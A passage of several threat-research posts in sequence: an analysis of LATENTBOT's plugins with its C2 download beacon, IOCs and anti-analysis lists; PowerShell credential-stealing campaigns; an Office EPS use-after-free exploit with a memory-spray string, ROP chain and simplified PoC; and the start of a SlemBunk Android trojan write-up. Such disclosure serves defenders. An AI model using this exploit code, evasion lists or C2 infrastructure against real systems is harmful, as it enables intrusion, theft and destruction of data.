the different plugins by sending the beacon shown in Figure 18:
GET /m/484588.zip HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent:
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1;
Trident/5.0)
Host: 37.220.9.229
Cache-Control: no-cache
Figure 18: LATENTBOT download beacon
The modules names pretend to be ZIP files but are in
fact encoded data that is saved into the registry key secure as shown in Figure 19.
Figure 19: Registry keys storing
the malicious plugins
Decrypting the plugin names using the XOR modifier algorithm from
Figure 16 with modifier 0x2328 gives the
following module names:
1. hdtWD3zyxMpSQB = Bot_Engine
2. QdW/DoI2F9J = Security
3. RRrIibQs+WzRVv5B+9iIys+17huxID = Remote_desktop_service
4. VRWVBM6UtH6F+7UcwkBKPB = Vnc_hide_desktop
5. zRlBb9ofmNVErtdu = Pony_Stealer
The registry values shown at the bottom of Figure 19
have a specific purpose depending on the plugin being used. The values
can be used as status or integrity-check flags or used to store
encoded binaries.
Figure 20 is a diagram showing how the
plugins will be loaded:
Figure 20: Plugins Architecture
InjectionHelper
A new DLL (InjectionHelper, see Figure 20) is decoded
from the resources of the sixth stage Delphi binary and loaded to the
current process via BTMemoryLoader, which
will eventually load (via the jMex export)
the main plugin BOT_ENGINE.
The main purpose of InjectionHelper
is to load svchost.exe and replace it in
memory – via the process hollowing technique – with the binary
supplied as an argument. This DLL is actually used by other plugins
any time a new binary needs to be loaded in memory.
Once
InjectionHelper loads the BOT_ENGINE plugin,
it will re-inject itself into new instances of svchost.exe multiple times before commencing
execution, as seen in Figure 21.
Figure 21: BOT_ENGINE process
hollowing chain
Plugins Description
BOT_ENGINE & SECURITY
BOT_ENGINE is the main plugin responsible for loading
the rest of the plugins. The loading technique is the same as
previously documented using the BTMemoryLoader Library. BOT_ENGINE communicates
closely with the SECURITY module. The SECURITY module checks the
system to see if any antivirus solution was installed, using a list of
AV products’ default installation paths (see Appendix 1). This list is
encrypted with the algorithm from Figure 16 using the modifier 0xBB8.
If an AV is found on the
system, the callback will include a GET parameter av=<number> (e.g., Avast will be av=1).
There is also a check for GPUs
with EnumDisplayDevice that tries to detect
display cards from NVidia, ATI and Radeon and report the result with
the vidtype parameter:
3 possible
values:
• vidtype=1 for
NVidia
• vidtype=2 for ATI or
Radeon
• vidtype=0 for none of the
above
BOT_ENGINE is a Delphi program similar to the sixth
stage Delphi loader, but with patched stubs and new threads to do
specific tasks. It extracts data from resources and verifies their
signature using a public key embedded in the malware.
Extracting the public key
A key BLOB was imported via CryptImportKey API. The BLOB contains a 2048-bit
RSA public key used to verify signatures.
Following the
BLOB Header, we can find the 2048 bits RSA public key as shown in
Figure 22.
Figure 22: Public key BLOB
Structure in memory
Other GET parameters that may be sent are shown in Table
3.
Table 3: Other GET Parameters
After BOT_ENGINE is successfully installed and all the
different checks are performed, a query is sent back to the CnC with
the status of plugin installation along with any errors identified.
The plugin GET parameter holds the plugin
name.
Here is an example of a plain text beacon after the
BOT_ENGINE plugin is successfully installed:
forum?data=US-20-164346373561&ver=4006&os=2&av=19&acs=&x64=0&gr=engine-1.7.1.20-s&li=load-1.7.1.20&plugins=Bot_Engine-881384-8&errcode=0&bk=0¬e=0&dom=1&sockslog=0&vidtype=0&random=deabaotabf
Supported BOT_ENGINE commands are listed in Table
4:
Table 4: BOT_ENGINE CnC Commands
PONY Plugin
This plugin is a recent version of Pony Stealer 2.0 malware that comes with BITCOIN support to steal Bitcoin wallets as seen in Figure 23.
Figure 23: Bitcoin wallet
It looks for wallets for different cryptocurrencies
(similar to VNC Plugin). Refer to List of Bitcoin Wallets and
Currencies 1.
VNC Plugin
The VNC Plugin is actually more than what its name
suggests - it has multiple features:
• Implements a
keylogger
• ICMP Requests
• MBR Wiper
•
Hidden VNC Remote Desktop
• Manipulate the desktop
•
Intercept mouse events
Supported VNC module commands are
listed in Table 5.
Table 5: VNC Plugin BOT Commands
Note: For every command executed, the BOT will send the
encrypted status result to the CnC.
VNC Plugin command: killosanduninstalls
When this command is executed, the following steps will
occur:
1. The malicious MBR wiper will be extracted and
decoded from the VNC plugin’s resources and then injected into a new
instance of svchost.exe via the
InjectionHelper The MBR Wiper overwrites the first 512 bytes of the
hard drive represented by \.Physicaldrive0
and exits the injected process.
2. The parent process will
proceed to delete any traces of the malware from the registry and file
system.
3. Malicious process running are terminated.
4. Then the status message “kill os function started + uninstall
+ shutdown mashine from 10 sec …” is sent to the CnC
5.
Finally a reboot is forced via the ExitWindowsEx API leaving the infected PC useless.
A quick overview of this process is shown in Figure 24.
Figure 24: Killing the infected PC
The MD5 of the MBR Wiper
(4d0b14024d4a7ffcff25f2a3ce337af8) was submitted to VirusTotal
7 times - from Russia - beginning in July 2013 and it has zero AV
detections.
Running VNC
By running the VNC Plugin module on a system, it is
possible to simply watch the end user (the victim, in this case) while
going unnoticed. This differs from a normal RDP session, which would
log off the end user and make the activity easy to identify.
The encoded VNC Plugin is stored in the registry under the
key:
HKCUSoftwareGoogleUpdatenetworksecure
This key stores multiple encrypted subkeys as shown in
Figure 19. The binary will be decoded and injected into svchost.exe
via the InjectionHelper. The IP to connect to is encoded in the
Resources section.
Before injecting the VNC Plugin,
LATENTBOT will search for the following VNC processes running in the
system and kill them to avoid conflicts:
• tvnserver.exe – TightVNC Software
• winvnc.exe – UltraVNC Software
• vncserver.exe – RealVNC Software
• vncservice.exe – RealVNC Software
VNC Plugin command: getinstallpluginlist
When this command is executed, the plugin list will be
extracted from the registry, as already described. The registry values
will be separated by a dash and the plugins by a comma. The data will
then be encrypted and sent to the CnC server.
Figure 25
is an example of this decrypted plugin list:
Figure 25: Plugin list data decrypted in memory
VNC Plugin command: findgold
This searches the registry recursively starting at HKCUSoftwareClasses for strings such as Bitcoin or TrueCrypt. It
also searches the file system starting at %APPDATA%Roaming and $APPDATARoamingBitcoin for wallet.dat, MultiBit or Electrum. See Figure 23 in the appendix for a full
list of search terms.
VNC Plugin
command: sendCtrlAltDel
This functionality is implemented by loading as_sas32.dll and calling its sendCtrlAltDel export.
Information Gathering
The plugin will gather system information and report it
to the CnC server only, without using this to stop a process, which
might trigger an alert.
The section Searching for
malware analyst tools in Appendix 1 lists the program names and
processes that LATENBOT is searching for. Keywords for SoftICE or filemon
(which are retired tools) suggest this specific module was created
long time ago. A specific ID will be assigned to every identified item
identified and will be reported to the CnC server.
The
same list of AVs listed in the BOT_ENGINE plugin were found in this
one.
RDP Plugin
The built-in RDP client provides easy remote
administration of the victim computer to the attackers, although this
method would be more intrusive (potentially more noticeable to the
victim) than the VNC Plugin.
Conclusion
In this paper we presented different plugins being used
by LATENTBOT. Its architectural design allows the payloads to be
easily updated with new functionalities, so we will be tracking the
deployment of other plugins closely.
Although LATENTBOT
is highly obfuscated, due to the multiple process injections
performed, it is noisy enough to be easily detected in memory with a
proper behavior-based solution. Outbound callback tracking and
blocking is also mandatory in cases when the malware was able to
bypass the security controls in place.
Acknowledgements:
Thanks to Nart Villeneuve for his help during this
research.
[1] https://www.fireeye.com/blog/threat-research/2015/04/a_new_word_document.html
[2] Original version can be found here: https://github[.]com/strazzere/android-scripts/blob/master/Decoders/TauSpy-iBanking/rollingobfuscation.java
Appendix 1
IOCs:
HBI:
HKCUSoftwareMicrosoftWindows
NTCurrentVersionWindowsLoad = %AppData%RoamingaFwLiiVdlrznz68mkaa.exe
The binary is a copy of aya.exe
HKCUSoftwareAdobeAdobe
Acrobatdata = <random_value>
HKCUSoftwareGoogleUpdatenetworksecure
With 0 to 5 subkeys representing modules names:
HKCUSoftwareGoogleUpdatenetworksecurehdtWD3zyxMpSQB
HKCUSoftwareGoogleUpdatenetworksecureQdW/DoI2F9J
HKCUSoftwareGoogleUpdatenetworksecureRRrIibQs+WzRVv5B+9iIys+17huxID
HKCUSoftwareGoogleUpdatenetworksecureVRWVBM6UtH6F+7UcwkBKPB
HKCUSoftwareGoogleUpdatenetworksecurezRlBb9ofmNVErtdu
HKCUSoftwareGoogleUpdatenetworkupdate
HKCUSoftwareGoogleCommonRlzEventsUpdate
HKCUSoftwareGoogleCommonRlzEventsEventsID
NBI:
CnC IPs (Some of them are
compromised legitimate websites):
46.165.246.234
209.208.79.114
REMOTESUPPORT.AARIVERSIDE.COM
83.175.125.150
83.175.125.152
OFFICE.ONTIMEDATASOLUTIONS.COM
ESTREAM.HOMELINUX.COM
95.211.230.212
46.165.246.234
37.220.9.229
SBA-VIG.VIG.PL
SBA2-VIG.VIG.PL
ITMANAGER.MASPEX.COM
GATE.SPACESOFT.KR
SUPREMOGW2.NANOSYSTEMS.IT
CMC.COUNTERP.COM
121.78.119.97
136.243.16.249
180.71.39.228
220.76.17.25
195.254.174.74
83.13.163.218
83.238.72.234
155.133.120.21
DATAROAD.IPTIME.ORG
121.67.110.204
LATENTBOT Samples
1dd0854a73288e833966fde139ffe385
aya.exe
af15076a22576f270af0111b93fe6e03 lssm.exe
47f220f6110ecba74a69928c20ce9d3e
5446022c6d14a45fd6ef412a2d6601c5
a11362a8e32b5641e90920729d61b3d4
d349806ea1f2af0f447b2c9e20cb88f0
6ea9d27d23646fc94e05b8c5e921db99
56ba76cf35a1121bf83920003c2af825
2d2484d578bfcd983acb151c89e5a120
08bb5f82dec4957ad9da12239f606a00
4135552b0045e7d67b26167f43b88a30
af15076a22576f270af0111b93fe6e03
4d0b14024d4a7ffcff25f2a3ce337af8
BOT_ENGINE Plugin 1: The list of default installation
paths of popular AV
Documents and
SettingsAll UsersApplication DataAgnitum
Documents and
SettingsAll UsersApplication Dataavg10
Documents and
SettingsAll UsersApplication Dataavg8
Documents and
SettingsAll UsersApplication Dataavg9
Documents and
SettingsAll UsersApplication DataAvira
Documents and
SettingsAll UsersApplication DataDoctor Web
Documents and
SettingsAll UsersApplication DataESET
Documents and
SettingsAll UsersApplication Dataf-secure
Documents and
SettingsAll UsersApplication DataG DATA
Documents and
SettingsAll UsersApplication DataKaspersky Lab
Documents
and SettingsAll UsersApplication DataMcAfee
Documents and
SettingsAll UsersApplication DataMicrosoftMicrosoft
Antimalware
Documents and SettingsAll UsersApplication
DataPC Tools
Documents and SettingsAll UsersApplication
DataSymantec
Documents and SettingsAll UsersApplication
DataTrend Micro
Documents and SettingsAll UsersAVAST
Software
Documents and SettingsNetworkServiceLocal
SettingsApplication DataF-Secure
Program
FilesAgnitum
Program FilesAlwil Software
Program
FilesAVAST Software
Program FilesAVG
Program
FilesAvira
Program FilesBitDefender9
Program
FilesCommon FilesDoctor Web
Program FilesCommon FilesG
DATA
Program FilesCommon FilesPC Tools
Program
FilesDrWeb
Program FilesESET
Program FilesF-Secure
Internet Security
Program FilesFRISK Software
Program
FilesKaspersky Lab
Program FilesMcAfee
Program
FilesMicrosoft Security Essentials
Program FilesNorton
AntiVirus
Program FilesPanda Security
Program
FilesPC Tools Internet Security
Program FilesSymantec
Program
FilesTrend Micro
Program FilesVba32
VNC Plugin:
Searching for malware analyst tools
OLLYDBG
DBG
W32DSM
driverssice.sys
driversntice.sys
driverssyser.sys
driverswinice.sys
driverssice.vxd
driverswinice.vxd
winice.vxd
vmm32winice.vxd
sice.vxd
hgfs.sys
vmhgfs.sys
prleth.sys
prlfs.sys
prlmouse.sys
prlvideo.sys
prl_pv32.sys
vpc-s3.sys
vmsrvc.sys
vmx86.sys
vmnet.sys
\.SICE
\.SIWVID
\.NTICE
\.TRW
\.TWX
\.ICEEXT
\.Syser
\.SyserDbgMsg
\.SyserBoot
SbieDll.dll
api_log.dll
dir_watch.dll
dbghelp.dll
pstorec.dll
Sandbox
honeyq
vmware
nepenthes
snort
andyd
c:analysis
joeboxcontrol.exe
wireshark.exe
regmon.exe
filemon.exe
procmon.exe
SandboxieRpc
SandboxieDcomLaunch.exe
VBoxService.exe
VMwareTray.exe
VMwareService.exe
VMwareUser.exe
xenservice.exe
sniff_hit.exe
sysAnalyzer.exe
procexp.exe
autoruns.exe
prl_cc.exe
LoadOrd.exe
Diskmon.exe
RootkitRevealer.exe
portmon.exe
Tcpview.exe
Dbgview.exe
procdump.exe
cfp.exe
PONY STEALER Plugin: List of
Bitcoin Wallets and Currencies 1
Bitcoin Currencies:
Bitcoin
Litecoin
Namecoin
Terracoin
PPcoin
Primecoin
Feathercoin
Novacoin
Freicoin
Devoin
Franko
Megacoin
Quarkcoin
Worldcoin
Infinitecoin
Ixcoin
Anoncoin
BBQcoin
Digitalcoin
Mincoin
Goldcoin
Yacoin
Zetacoin
Fastcoin
I0coin
Tagcoin
Bytecoin
Florincoin
Phoenixcoin
Luckycoin
Craftcoin
Junkcoin
Wallets:
Armory
wallet
Electrum wallet
Multibit wallet
Uncovering Active PowerShell Data Stealing Campaigns
Loved by administrators, Windows PowerShell enables users to effectively perform automation and administrative tasks on local and remote systems. However, its power, ease of use, and widespread use has also made it attractive to attackers.
Researchers first began demonstrating attacks involving PowerShell around 2010, and they were crafting more sophisticated PowerShell attack methodologies and toolkits by late 2011. Gradually, PowerShell started to show up in malware campaigns, although at the time it was only observed being used to complete some steps in the attack cycle. We’ve been investigating PowerShell attacks for years and you can read more about that here.
We recently came across some data stealing campaigns in which nearly all steps of the attack cycle involved simple yet efficient PowerShell commands.
One of these – a campaign targeting credentials – involves a legitimate looking Russian domain website leading to a well-written PowerShell script. Another campaign, also targeting credentials, involves an RTF file with German language content that initiates a series of PowerShell commands. In both campaigns, protective and evasive steps are taken at points throughout the attack cycle.
Case Study I: A Russia-based data stealing campaign
We observed a Windows executable file in the wild downloading a PowerShell script from a legitimate-looking Russian domain website. The homepage of the website discusses martial arts, but it also hosts the PowerShell script. On execution of the EXE file, a PowerShell command to download another PS1 (PowerShell) script is initiated. The usage of –hidden switch ensures that the execution of PowerShell script is not obvious to the victim in the form of PowerShell window. Similarly the execution policy is set as unrestricted to make sure the script runs with desired access.
Figure 1: Command to download malicious
PowerShell script in hidden and unrestricted
mode.
Password stealing
On accessing the “74.ps1” hosted live on the website, we observed a well-written PowerShell script with clear intent to steal data. The script copies files from certain locations of the victims’ file system that are expected to hold user credentials, as seen below. For example, Figure 2 shows the intent to copy “Login Data” file from Chrome folder, which contains the usernames and encrypted passwords of websites logged in on the Chrome browser.
Figure 2: Command to copy known credential files from victims’ system
System survey
The script also obtains system metadata (i.e., the victim's username, firewall status, and configuration details such as RAM and hard disk size), which is converted to an HTML page as shown in Figure 3.
Figure 3: Command to dump system information metadata into an HTML file
Data extraction
The malware compresses all stolen data into a ZIP archive, as shown in Figure 4.
Figure 4: Compressing stolen data to an archive
Once zipped, the stolen data is ready to be sent to the malware author via SMTP-related commands. To send it, an email ID and password of the malware author is required to be passed as parameters. These credentials were visible to us while analyzing the malicious script.
Figure 5: Command to send stolen data to
malware author via email
When the malware is finally run, the malware generates an encrypted report titled “My test report.” Reviewing the report, we observed that the data is encrypted, as seen in Figure 6.
Figure 6: A section of the encrypted stolen information
Decryption of stolen data
As an extra layer of protection, the malware author had implemented the RC4 algorithm in the PowerShell script itself and encrypted the whole ZIP file, as seen in Figure 7.
Figure 7: RC4 algorithm implemented within PowerShell
Since the malware encrypts the data and does not use any public key infrastructure, it has to have the RC4 key visible. This can be seen in Figure 8, and ultimately it renders the extra security measure useless.
Figure 8: RC4 key used by the malware
author passed as parameter in the script
Analyzing the Data Collected
We used the hard-coded key to decrypt the ZIP file and then we unzipped the information the malware collected, the results of which are shown in Figure 9.
Figure 9: Data collected after decryption and unzipping
The “chrome” file contains information from Google Chrome login table. The “CompInfo” HTML file contained metadata of the victim as shown in Figure 10.
Figure 10: HTML containing stolen system information
The CREDHIST file, a component of credential manager, was also observed among the stolen data. The CREDHIST file contains representation of users’ recent and old account credentials.
Figure 11: Stolen credhist file
Case Study II: Germany / Austria-based data stealing campaign
We observed an RTF file with German language content circulating in Germany and Austria. It was found that the RTF file initiates a drive-by download, leading to execution of a payload that initiates a series of PowerShell commands. In this case, extra care is taken care by a PowerShell command to make sure that virtualization is detected.
VM detection
As shown in Figure 12, a list of all running processes is retrieved via Get-Process. Among them, the malware checks for services related to VirtualBox, VMware, and Parallels. If found, the output will be printed on the console.
Figure 12: PowerShell script calculating the count of virtualization related processes
If this count is greater than zero, the malware is running in a virtualized environment. However, mere output on the console does not help the malware author – they will need to use this data. Using CONOUT parameter, the information is passed on to the executable. Depending on this output, the campaign will continue or abort.
Infection rate 29,000 and counting
The malware adds the number of attacks by visiting a counter website.
Figure 13: Script tracking infection count
So far, it has been visited 29,245 times, but this does not necessarily mean that 29,245 systems have been infected – some visits could have been from cybersecurity researchers.
Figure 14: Infection counter
After a virtualization check and tracking, the malware steals data. The malware uses PowerShell to iterate and dump a number of possible locations where cookies are stored to the text file, ftshvc.txt.
Command to steal data
Figure 15: Stolen data dumped in a text file
Prioritizing stolen data
However, the author is not interested in all the dumped data. They prioritize the stolen data by searching for specific strings and enabling a counter for it. Within the dumped stolen data, the search for credentials includes everything from Facebook to banking information sites such as “bankaustria.at” and “credit-suisse.com” (a Swiss banking site). The prioritization of stolen data command is shown in Figure 16.
Figure 16: Script calculates count of certain specific stolen data
Making way for new payload
After completing the data theft, the PowerShell script makes way for a new payload: Dofoil (yet again, a PowerShell command is used to download a file from the malware site and run it via DownloadFile and ShellExecute commands). This effectively closes the PowerShell data stealing cycle and introduces a new payload, which will connect to the command and control (CnC) server and perform other malicious commands.
Figure 17: Script to download and execute new payload
More Evasion Techniques
In addition to anti-vm tricks, the malware uses PowerShell features such as encoding and quote obfuscation were also used.
For example, all three commands shown below will launch Notepad.
Figure 18: Three different ways to open notepad via PowerShell
Just like a normal command line terminal, PS terminal has no issues when strings are broken into quotes. As with command prompt, PS will also launch Notepad when “note” ”pad” is typed.
Additionally, PowerShell provides a –enc (Encoding Command Switch) that can enable the user/attacker to write PowerShell commands in Base64.
Evasion via encoding
The following is the PowerShell command observed by a separate malware, which uses a –enc switch to hide the activity of first calling system sleep (another evasion technique) and then connecting to a desired link.
Figure 19: Encoded PowerShell script execution in hidden mode
Real PowerShell command after Base64 decryption.
Figure 20: Script after decoding can be observed to call sleep and connect to a link
Evasion via quote obfuscation
In the following case, when a Word macro executes, it initiates a PowerShell script drop that is supposed to launch a VBscript.
The malware author breaks down the extension as “v” + “bs”. The same is passed in command line parameters, which is another bypass attempt by breaking the file extension into quotes.
Figure 21: Quote obfuscation to evade plaintext string detection
The encoding and obfuscation evasion tricks were also observed in document files attached to phishing messages which had embedded macros, that also used PowerShell. There has been an increase in spreading documents containing embedded malicious macros, and more on that can be read here.
Conclusion
PowerShell is now often used in attacks. The use of PowerShell, especially in a corporate environment, should be well regulated and monitored with enhanced logging. Execution of encoded and obfuscated commands requires an extra degree of observance. Due to PowerShell’s ability to encode and obfuscate data, security teams should be aware of how PowerShell can be maliciously used and cultivate expertise investigating PowerShell attacks.
The evasion techniques we discussed are not able to bypass FireEye appliances, and FireEye provides detection for various stages of such campaigns.
Reference
[1] https://www.fireeye.com/blog/threat-research/2015/10/macros_galore.html
The EPS Awakens
On September 8, FireEye published details about an attack exploiting zero day vulnerabilities in Microsoft Office (CVE-2015-2545) and Windows (CVE-2015-2546). The attack was particularly notable because it leveraged PostScript to drive memory corruption in a way that had never been seen before. The exploit used similar strategies as browser exploits in common languages such as JavaScript and Flash, but PostScript served as an overlooked attack vector that is powerful and convenient in Office.
Following the release of the patch for CVE-2015-2545, FireEye notified Microsoft of a way to bypass the patch. Microsoft not only fixed the bypass, but proactively hardened code throughout the Encapsulated PostScript (EPS) filter. The updates were quietly released on November 10 (Patch Tuesday).
At around 10:00AM in Japan on November 26 (around close of business the day before Thanksgiving in the U.S.), threat actors launched a spear phishing campaign. The emails contained document attachments that exploited a previously unknown EPS vulnerability. But there was a catch: the vulnerability was proactively patched in the Microsoft update released two weeks earlier.
The spearphishing emails to FireEye EX customers were blocked in the wild. FireEye appliances detect the exploit as Exploit.Dropper.docx.MVX and Malware.Binary.Docx.
In the first part of this blog series, we summarize recent threat group activity using this exploit and provide complete technical details of the vulnerability. Stay tuned for part two wherein we outline the operational details of the attack.
Activity Summary
In late November and early December of 2015, FireEye observed multiple spear phishing campaigns exploiting a previously unknown Microsoft Office EPS vulnerability (detailed below) and Windows local privilege escalation vulnerability CVE-2015-1701. Over the course of several days, known and suspected China-based advanced persistent threat (APT) groups sent phishing emails containing malicious Word attachments to Japanese and Taiwanese organizations in the financial services, high-tech, media and government sectors respectively.
These attachments exploited a silently patched user-mode Microsoft EPS vulnerability (similar to Microsoft EPS use-after-free vulnerability CVE-2015-2545) and subsequently used CVE-2015-1701 to obtain SYSTEM level access to compromised machines. Following successful exploitation of each vulnerability, the exploit shellcode deployed either the IRONHALO downloader or the ELMER backdoor. FireEye currently detects IRONHALO as Trojan.IRONHALO.Downloader and ELMER as Backdoor.APT.Suroot.
Vulnerability Details – Encapsulated PostScript dict copy Use-After-Free
In the form dict1 dict2 copy, the copy operator copies all of the elements from the first operand (dict1) into the second operand (dict2). The PostScript Language Reference Manual (PLRM), as cited in Figure 1, states that the copy operator does not affect elements remaining in the second operand. For example, if dict1contained an element under key k1, and dict2contained elements under keys k1 and k2, then the operation dict1 dict2 copy should overwrite the element under k1, but should not affect the element under k2.
However, Microsoft’s EPS deviates from this standard. In Microsoft’s implementation, the copy operator iteratively deletes all key-value entries from the dict2 internal hash table. Then, it deletes the hash table itself, and allocates a new one. Finally, it copies elements from dict2 into dict2. This deletion process is depicted in Figure 2.
Using the dict1 dict2 copy operation while enumerating dict2 with forall causes a use-after-free. During each iteration of the forall loop, dict2 dereferences a pointer (ptrNext) to push the next key-value pair onto the operator stack. When copy deletes the next key-value pair, ptrNext becomes stale. The next iteration of the forall loop will then push objects from the stale pointer onto the operator stack.
In an attack scenario, the attacker can allocate memory under the stale pointer. The attacker can then supply data that the forall enumerator reads as a key-value pair. In the appendix, we include a minimized PoC that shows how to allocate a string under the stale pointer and forge a key-value pair.
Full Read and Write Development
The attacker gains access to memory by forging a string. Specifically, the attacker places a forged key-value pair under the stale ptrNext, and the key-value pair points to a forged string. The attacker uses a hardcoded address (130e0020h) in the forged key-value pair, and sprays memory at the address with PostScript strings. Figure 3 shows the PostScript that creates the sprayed string object, and the layout of the string in memory.
/fakestr
<28000e1358000e13bebafeca41414141414141414141414141414141030000004141414141414141414
1414124000e1300000000ffffff7fbebafeca41414141414141414141414141414141414141414141414
14141414100000000ffffff7f> def
0:000> dd 130e0000
130e0000 00000000
00000000 00000000 00000000
130e0010 00000000 00000000
00000000 00000000
130e0020 130e0028 130e0058 cafebabe
41414141
130e0030 41414141 41414141 41414141 00000003
130e0040 41414141 41414141 41414141 130e0024
130e0050
00000000 7fffffff cafebabe 41414141
130e0060 41414141
41414141 41414141 41414141
130e0070 41414141 41414141
00000000 7fffffff
Figure 3: The attacker's sprayed PostScript string
Each PostScript string object allocates a buffer to store the actual contents of the string. The address and size of this buffer is stored within the string object. In the attacker’s forged string object, the address of the buffer is 0, and the size of the buffer is 0x7fffffff.
Return-Oriented Programming
Once the attacker has forged a string with size 0x7fffffff, they can use the string to freely read and write process memory. The attacker uses this capability to search for ROP gadgets and build a ROP chain.
0:000> dd /c 1 130e1032
130e1032
60e2b53a // retn_gadget
130e1036 60e2b53a //
retn_gadget
130e103a 00000000
130e103e
00000000
130e1042 60e69f80 // stack_pivot_gadget
130e1046 60e398cd // set_eax_gadget, eax = 0xd7
130e104a 00000000
130e104e 00000000
130e1052
00000000
130e1056 777e5695 // ntcreateevent_gadget+0x5,
NtProtectVirtualMemory
130e105a 130e3000 // shellcode
starts here
130e105e ffffffff
30e1062 130e0200
130e1066 130e0204
130e106a 00000040
130e106e 130e0208
0:000> u 60e2b53a
EPSIMP32+0xb53a:
60e2b53a c20c00 ret 0Ch
0:000> u
60e69f80
EPSIMP32!RegisterPercentCallback+0x2234e:
60e69f80 94 xchg eax,esp
60e69f81
c3 ret
0:000> u 60e398cd
EPSIMP32+0x198cd: // ecx = 130e1000, eax = 0xd760e398cd
8b4114 mov eax,dword ptr [ecx+14h]
60e398d0
c3 ret
0:000> u 777e5695
ntdll!NtCreateEvent+0x5:
777e5695 ba0003fe7f mov
edx,offset SharedUserData!SystemCallStub
777e569a
ff12 call dword ptr [edx]
777e569c
c21400 ret 14h
Figure 4: Attacker's ROP chain
The ROP chain, shown in Figure 4, uses a few known tricks to bypass security products. First, the ROP chain skips 5 bytes past the beginning of ntdll!NtCreateEvent. This would bypass any hooks placed on the beginning of the routine (and is known as “hook hopping”), but the real purpose of this offset is to pass over an instruction that sets eax. This allows the attacker to specify their own parameter in eax, and call an arbitrary system call instead of NtCreateEvent. The attacker chooses the system call NtProtectVirtualMemory, which marks the attacker’s shellcode as executable. Since the system call numbers differ between environments, the attacker reads the correct value for eax from the ntdll!NtProtectVirtualMemory function (which is the user-mode function that is normally used to call the NtProtectVirtualMemory syscall).
To transfer execution to the ROP chain, the attacker forges a file type object. Within the forged file type object, the attacker modifies the bytesavailable function pointer to point to a pivot (Figure 5). Then, when the attacker uses the forged object in PostScript, it calls the pivot and transfers execution to the ROP chain. When the ROP chain is complete, it returns into the attacker’s shellcode.
Figure 5: bytesavailable operator with the
forged file type object
Shellcode
Once the ROP chain finishes and returns to the attacker’s shellcode, the shellcode loads a DLL that exploits CVE-2015-1701 to elevate the process to SYSTEM. The CVE-2015-1701 exploit is based on published source code from GitHub. Once the shellcode process has SYSTEM privileges, it will execute further payloads to be discussed in part two of this series.
Acknowledgements
Thank you to Wang Yu, Dan Regalado and Junfeng Yang for their contributions to this blog.
Appendix
Simplified PoC
%% Create dict2 and fill it with
%% several
key-value pairs
/dict2 5 dict def
dict2 begin
/k1 1000 array def
/k2 1000 array def
…
dict2 end
%% Create dict1 and fill it with
%% one
key-value pair under k1
/dict1 3 dict def
dict1
begin
/k1 1000 array def
dict1 end
%% Begin forall enumeration on dict2
dict2
{
…
% Destroy dict2’s internal
hash-table,
% freeing all key-value pairs
dict1 dict2 copy
…
% Create a new string to
overwrite the
% freed key-value pair k2.
% The
string contains a forged key-value pair
44 string
0
<00000000ff0300000005000000000000000000002000e01303000000000000000000000044444444>
putinterval
% Next iteration of the loop uses
stale.
% ptrNext, which points into the above
string,
% and reads a forged key-pair
…
} forall
SlemBunk: An Evolving Android Trojan Family Targeting Users of Worldwide Banking Apps
FireEye mobile researchers recently identified a series of Android trojan apps that are designed to imitate the legitimate apps of 33 financial management institutions and service providers across the globe. We dub the family “SlemBunk,” and have seen it covering three major continents: North America, Europe, and Asia Pacific.
SlemBunk apps masquerade as common, popular applications and stay incognito after running for the first time. They have the ability to phish for and harvest authentication credentials when specified banking and other similar apps are launched. At the time of this writing, we can confirm that a set of the control servers gathering gleaned credentials is still live and active.
We have not observed any instances of SlemBunk on Google Play, so users will only get infected if the malware is sideloaded or downloaded from a malicious website. Newer versions of SlemBunk were observed being distributed via porn websites. Users who visit these sites are incessantly prompted to download an Adobe Flash update to view the porn, and doing so downloads the malware.
Our comprehensive investigation of SlemBunk has led to the identification of more than 170 samples in the wild. These SlemBunk samples exhibit a range of characteristics and behaviors, including:
● Highly customized login UI for a variety of financial management services such as high profile banks;
● Running in the background and monitoring the active running processes;
● Detecting the launch of specified legitimate apps and intelligently displaying corresponding fake login interfaces;
● Hijacking user credentials and transmitting to a remote command and control (CnC) server;
● Harvesting and exfiltrating sensitive device information to the CnC servers including phone number, installed app list, device model, OS version;
● Receiving and executing remote commands sent through text messages and network traffic;
● Persisting on the infected device via device administrator privilege.
This discovery is supported by findings reported by Fortinet [1]. Our in-depth analysis into the full set of samples provides more insights into this malware family. Since its debut, SlemBunk has gone through several iterations, with each one raising the bar of sophistication by adding more advanced capabilities. Based on our examination of SlemBunk over time, we observed the following developments:
● Advanced features are added to support more remote control commands;
● Remote CnC servers keep changing among samples;
● More financial services apps are added into the list, with new UI and their corresponding logic;
● Different levels of obfuscation mechanisms are adopted to avoid detection.
Through our investigation, we have discovered SlemBunk spoofing the apps of 31 banks across the globe – some of which are among the biggest banks in the world – as well as users of two popular mobile payment service provider apps.
While financial gain is the primary goal of this malware, SlemBunk is also interested in user data. This is reflected by its attempt to hijack the login credentials of high profile Android applications, including popular social media apps, utility apps instant messaging apps.
Technical Details
The remainder of this blog presents the technical and operational aspects of this malware in greater detail.
Major Components
The core objective of SlemBunk is to phish for authentication credentials – primarily for financial institutions – by pushing a fake login interface when a specified app is running in the foreground. Figure 1 – the Manifest file from one of the non-obfuscated samples with package name "org.slempo.service" – shows an overview of the main components of SlemBunk.
● ServiceStarter: An Android receiver that will be invoked once an app is launched or the device boots up. Its functionality is to start the monitoring service, MainService, in the background.
● MainService: An Android service that runs in the background and monitors all running processes on the device. It prompts the user with an overlay view that resembles the legitimate app when that app is launched. This monitoring service also communicates with a remote host by sending the initial device data, notifying of device status and app preferences.
● MessageReceiver: An Android receiver that handles incoming text messages. In addition to the functionality of intercepting the authentication code from the bank, this component also acts as the bot client for remote command and control.
● activities/Card: One UI view designed to mimic those of the targeted apps.
● MyDeviceAdminReceiver: Device admin functionality requested the first time this app is launched. This makes the app more difficult to remove.
Figure 1. SlemBunk main components
Figure 2 offers a glance into the execution flow of the malware. When the app is launched for the first time, it activates the registered receiver, which subsequently starts the monitoring service in the background. On the surface it pops up a fake UI claiming to be Adobe Flash Player, or other advertised applications, and requests to be the device admin. Upon being granted admin privileges, it removes its icon from the launcher and remains running in the background. A corresponding UI requesting for authentication credentials shows up when one of the specified apps is detected running in the foreground.
Figure 2. The workflow graph of SlemBunk
Targeted App Detection & Interface Overlay
SlemBunk employs a long running service in the background (MainService), which schedules a few tasks. One of the tasks is to query all the running processes and check if any of the specified apps are running in the foreground. The detection of a legitimate app is as simple as comparing the package name of the top running app to that of a specified app. Figure 3 shows a snippet of code from one of the samples.
Figure 3. Specified app detection and Phishing UI activity starter
